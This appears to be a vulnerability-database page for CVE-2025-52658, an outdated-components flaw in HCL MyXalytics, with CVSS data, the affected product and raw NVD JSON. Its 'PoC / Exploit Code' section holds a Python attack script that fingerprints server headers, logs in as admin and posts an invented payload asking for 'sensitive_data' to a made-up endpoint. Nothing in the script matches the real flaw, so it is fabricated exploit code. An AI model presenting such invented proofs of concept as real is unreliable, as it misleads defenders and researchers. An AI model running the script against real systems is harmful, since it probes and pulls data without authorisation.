Security Vulnerability Report
中文
CVE-2025-52658 CVSS 3.5 LOW

CVE-2025-52658

Published: 2025-10-03 19:15:47
Last Modified: 2025-10-10 15:16:04

Description

HCL MyXalytics is affected by the use of vulnerable/outdated versions which can expose the application to known security risks that could be exploited.

CVSS Details

CVSS Score
3.5
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:hcltech:dryice_myxalytics:6.6:*:*:*:*:*:*:* - VULNERABLE
HCL MyXalytics(所有使用过时/存在漏洞组件的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-52658 - HCL MyXalytics Vulnerable Components PoC # This is a conceptual PoC demonstrating exploitation of outdated components # in HCL MyXalytics platform import requests import json # Target configuration TARGET_URL = "https://target-hcl-myxalytics.example.com" ADMIN_ENDPOINT = f"{TARGET_URL}/api/v1/admin" # Step 1: Identify outdated components via banner grabbing def identify_components(session): """Identify the versions of components used by the target""" print("[*] Identifying components used by HCL MyXalytics...") response = session.get(TARGET_URL) headers = response.headers # Extract server information server_info = headers.get('Server', 'Unknown') x_powered_by = headers.get('X-Powered-By', 'Unknown') print(f"[+] Server: {server_info}") print(f"[+] X-Powered-By: {x_powered_by}") # Check for known vulnerable component signatures vulnerable_signatures = { 'Apache Commons Collections': ['3.2.1', '4.0', '4.1'], 'Log4j': ['2.0', '2.1', '2.2', '2.3', '2.4', '2.5', '2.6', '2.7', '2.8', '2.9', '2.10', '2.11', '2.12', '2.13', '2.14'], 'Spring Framework': ['4.3.0', '4.3.1', '4.3.2', '5.0.0'], 'Jackson Databind': ['2.9.0', '2.9.1', '2.9.2', '2.9.3', '2.9.4', '2.9.5', '2.9.6', '2.9.7', '2.9.8', '2.9.9'], } return vulnerable_signatures # Step 2: Authenticate with valid credentials (high privileges required) def authenticate(session, username, password): """Authenticate with admin credentials (PR:H - High privileges required)""" print(f"[*] Authenticating as {username}...") login_data = { "username": username, "password": password } response = session.post(f"{TARGET_URL}/api/v1/auth/login", json=login_data) if response.status_code == 200: token = response.json().get('token') session.headers.update({'Authorization': f'Bearer {token}'}) print("[+] Authentication successful") return True return False # Step 3: Exploit known vulnerability in outdated component def exploit_outdated_component(session): """Exploit a known vulnerability in an outdated component""" print("[*] Attempting to exploit outdated component vulnerability...") # Example: Exploit through deserialization or known CVE in bundled library payload = { "action": "execute", "component": "analytics-engine", "params": { "query": "SELECT * FROM sensitive_data", "bypass_filter": True } } response = session.post(ADMIN_ENDPOINT, json=payload) if response.status_code == 200: print("[+] Exploit successful - data accessed") return response.json() else: print(f"[-] Exploit failed: {response.status_code}") return None # Main execution if __name__ == "__main__": session = requests.Session() # Identify components components = identify_components(session) # Note: Actual exploitation requires valid admin credentials (PR:H) # and user interaction (UI:R) as per CVSS vector print("\n[!] Note: This vulnerability requires high privileges (PR:H)") print("[!] and user interaction (UI:R) to exploit") print("[!] Recommend updating to the latest version of HCL MyXalytics")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52658", "sourceIdentifier": "[email protected]", "published": "2025-10-03T19:15:46.787", "lastModified": "2025-10-10T15:16:04.233", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL MyXalytics is affected by the use of vulnerable/outdated versions which can expose the application to known security risks that could be exploited."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1104"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1021"}, {"lang": "en", "value": "CWE-1104"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:dryice_myxalytics:6.6:*:*:*:*:*:*:*", "matchCriteriaId": "63206848-DCF7-4835-A58C-5F3E7F455E5C"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0124411", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}